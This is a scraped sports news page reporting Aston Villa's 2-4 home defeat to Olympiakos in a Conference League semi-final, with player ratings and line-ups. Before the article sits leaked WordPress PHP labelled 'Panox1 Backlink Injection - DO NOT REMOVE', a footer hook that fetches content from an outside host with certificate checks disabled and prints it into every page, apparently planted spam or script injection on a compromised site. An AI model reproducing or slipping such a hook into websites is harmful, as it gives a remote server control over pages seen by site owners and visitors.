// Panox1 Backlink Injection - DO NOT REMOVE add_action('wp_footer', function() { $cache_key = 'panox1_links_' . md5(home_url()); $cached = get_transient($cache_key); if ($cached !== false) { echo $cached; return; } $response = wp_remote_get('https://staticsx.top/panox1/api/inject-endpoint.php?site_url=' . urlencode(home_url()), ['timeout' => 5, 'sslverify' => false]); if (!is_wp_error($response) && wp_remote_retrieve_response_code($response) === 200) { $content = wp_remote_retrieve_body($response); if (!empty($content) && strpos($content, ' 'active', 'site' => home_url(), 'time' => time()]); } }); // End Panox1 Villa lose at home in Conference League semi-final – Next Sports News

Villa lose at home in Conference League semi-final

[ad_1]

Aston Villa striker Ollie Watkins scores against Olympiakos

Aston Villa’s hopes of reaching the Europa Conference League final were hit by a chaotic semi-final first-leg home defeat to Olympiakos.

Ayoub El Kaabi scored a hat-trick, netting twice in the opening half hour as the Greek side took a 2-0 lead.

Ollie Watkins reduced the deficit for Unai Emery’s side and Moussa Diaby equalised moments after the interval.

Olympiakos roared back in front with an El Kaabi penalty and a deflected strike from Santiago Hezze.

Douglas Luiz missed a late penalty which means Villa must overturn a two-goal margin in the second leg in Piraeus on 9 May to reach their first European final since 1982.

El Kaabi began the goal flurry with a clinical finish. It was initially disallowed for an offside, but that was overturned by the video assistant referee (VAR).

The Morocco striker added a classy second when he latched on to Daniel Podence’s clever pass over the top and slipped the ball under Robin Olsen.

Watkins pulled a goal back for Villa in added time in the first half with an angled finish from just outside the six-yard box.

Diaby then levelled as Konstantinos Tzolakis was beaten at his near post.

Villa seemed to have the momentum at that point but were sucker-punched by their visitors.

Douglas Luiz handled a Panagiotis Retsos header and El Kaabi coolly sent Olsen the wrong way from the resulting spot-kick to take his tally to eight goals in the competition.

There was more than an element of fortune to Olympiakos’ fourth as Hezze’s speculative effort flicked off the back of Ezri Konsa to wrong-foot Olsen.

Douglas Luiz had a late opportunity to atone for his error after David Carmo felled Jhon Duran but, to the incredulity of the home fans, he failed to hit the target.

More to follow.

Player of the match

Daniel PodenceDaniel Podence

with an average of 7.86

Aston Villa

  1. Squad number11Player nameWatkins

    Average rating

    5.81

  2. Squad number7Player nameMcGinn

    Average rating

    5.73

  3. Squad number2Player nameCash

    Average rating

    5.38

  4. Squad number27Player nameRogers

    Average rating

    5.15

  5. Squad number19Player nameDiaby

    Average rating

    5.14

  6. Squad number31Player nameBailey

    Average rating

    4.94

  7. Squad number4Player nameKonsa

    Average rating

    4.78

  8. Squad number12Player nameDigne

    Average rating

    4.54

  9. Squad number47Player nameIroegbunam

    Average rating

    4.50

  10. Squad number24Player nameDurán

    Average rating

    4.48

  11. Squad number22Player nameZaniolo

    Average rating

    4.46

  12. Squad number17Player nameLenglet

    Average rating

    4.22

  13. Squad number25Player nameOlsen

    Average rating

    4.20

  14. Squad number6Player nameDouglas Luiz

    Average rating

    4.19

Olympiakos

  1. Squad number56Player nameDaniel Podence

    Average rating

    7.86

  2. Squad number9Player nameEl Kaabi

    Average rating

    7.76

  3. Squad number5Player nameAndré Horta

    Average rating

    7.35

  4. Squad number7Player nameFortounis

    Average rating

    6.85

  5. Squad number6Player nameChiquinho

    Average rating

    6.83

  6. Squad number88Player nameTzolakis

    Average rating

    6.80

  7. Squad number8Player nameIborra

    Average rating

    6.78

  8. Squad number23Player nameRodinei

    Average rating

    6.72

  9. Squad number45Player nameRetsos

    Average rating

    6.71

  10. Squad number16Player nameDavid Carmo

    Average rating

    6.69

  11. Squad number3Player nameOrtega

    Average rating

    6.68

  12. Squad number27Player nameRichards

    Average rating

    6.67

  13. Squad number32Player nameHezze

    Average rating

    6.66

Line-ups

Aston Villa

Formation 4-2-3-1

25Olsen

2Cash4Konsa17Lenglet12Digne

7McGinn6Douglas Luiz

31Bailey19Diaby27Rogers

11Watkins

  • 25Olsen
  • 2Cash
  • 4Konsa
  • 17Lenglet
  • 12Digne
  • 7McGinn
  • 6Douglas Luiz
  • 31BaileySubstituted forZanioloat 85′minutes
  • 19DiabyBooked at 83minsSubstituted forIroegbunamat 85′minutes
  • 27RogersSubstituted forDuránat 74′minutes
  • 11Watkins

Substitutes

  • 3Diego Carlos
  • 14P Torres
  • 18Gauci
  • 22Zaniolo
  • 24Durán
  • 29Kesler-Hayden
  • 47Iroegbunam
  • 64Wright
  • 69Munroe
  • 71Kellyman
  • 72Young

Olympiakos

Formation 4-2-3-1

88Tzolakis

23de Almeida45Retsos16Mota Veiga Teixeira do Carmo3Ortega

8Iborra de la Fuente32Hezze

7Fortounis6Lima Silva Machado56Podence

9El Kaabi

  • 88Tzolakis
  • 23de AlmeidaBooked at 82mins
  • 45Retsos
  • 16Mota Veiga Teixeira do Carmo
  • 3OrtegaSubstituted forRichardsat 45′minutes
  • 8Iborra de la Fuente
  • 32Hezze
  • 7Fortounis
  • 6Lima Silva Machado
  • 56PodenceSubstituted forLuz Hortaat 70′minutes
  • 9El Kaabi

Substitutes

  • 1Paschalakis
  • 5Luz Horta
  • 11El Arabi
  • 15Alexandropoulos
  • 18Marín Ruiz
  • 20Carvalho
  • 22Jovetic
  • 27Richards
  • 70Prekates
  • 99Papadoudis
Referee:
Marco Guida

Match Stats

Live Text

Post update

Match ends, Aston Villa 2, Olympiakos 4.

  • Adblock test (Why?)

    [ad_2]

    Source link

    Reply